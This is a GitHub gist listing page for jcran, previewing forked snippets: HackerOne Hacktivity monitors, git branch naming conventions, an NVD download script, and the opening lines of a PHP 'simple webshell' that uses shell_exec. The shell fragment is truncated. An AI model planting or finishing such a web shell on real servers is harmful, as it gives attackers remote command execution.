Skip to content

Instantly share code, notes, and snippets.

View jcran's full-sized avatar
💭
feelin fancy

Jonathan Cran jcran

💭
feelin fancy
View GitHub Profile
@jcran
jcran / rss_hackerone_hacktivity.py
Last active November 13, 2024 03:33 — forked from tetrillard/rss_hackerone_hacktivity.py
HackerOne Hacktivity - recent url monitor
import logging
import re
import json
import asyncio
import requests
#
# including these methods as wrappers around requests method
#
@jcran
jcran / rss_hackerone_hacktivity.py
Created November 13, 2024 03:30 — forked from tetrillard/rss_hackerone_hacktivity.py
HackerOne Hacktivity to RSS feed
#!/usr/bin/env python3
import sys
import requests
import urllib3
import json
import re
from types import SimpleNamespace as Namespace
from feedgen.feed import FeedGenerator
output = ''
@jcran
jcran / git_branch_naming.md
Last active October 20, 2021 18:53 — forked from revett/git_branch_naming.md
Git Branch Naming Conventions

<type>/<name>

<type>

bug    - Code changes linked to a known issue.
feat   - New feature.
hotfix - Quick fixes to the codebase.
spike   - Spikes (will probably not be merged - just investigating / testing before moving to a feature branch).
@jcran
jcran / nvd_download.sh
Created January 29, 2018 20:28 — forked from christiangalsterer/nvd_download.sh
Script to download the National Vulnerability Database files from https://nvd.nist.gov
#!/bin/sh
# https://gist.github.com/christiangalsterer/5f55389b9c50c74c31b9
# Copyright 2015 Christian Galsterer
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
@jcran
jcran / webshell.php
Created April 8, 2016 07:09 — forked from RyanKung/webshell.php
a simple webshell
<?php session_start(); ?>
<?php
if (empty($_SESSION['path'])) {
$_SESSION['user'] = shell_exec('whoami');
$_SESSION['host'] = shell_exec('hostname');
$_SESSION['path'] = dirname(__FILE__);
}
function showInfo($cmd) {
$user = $_SESSION['user'];

Best UNIX Shell tools

These are a list of usages of shell commands I can't live without on UNIX-based systems.

Install

Mac OS X

Using Homebrew (yes, I am opinionated) you can install the following tools with the following packages: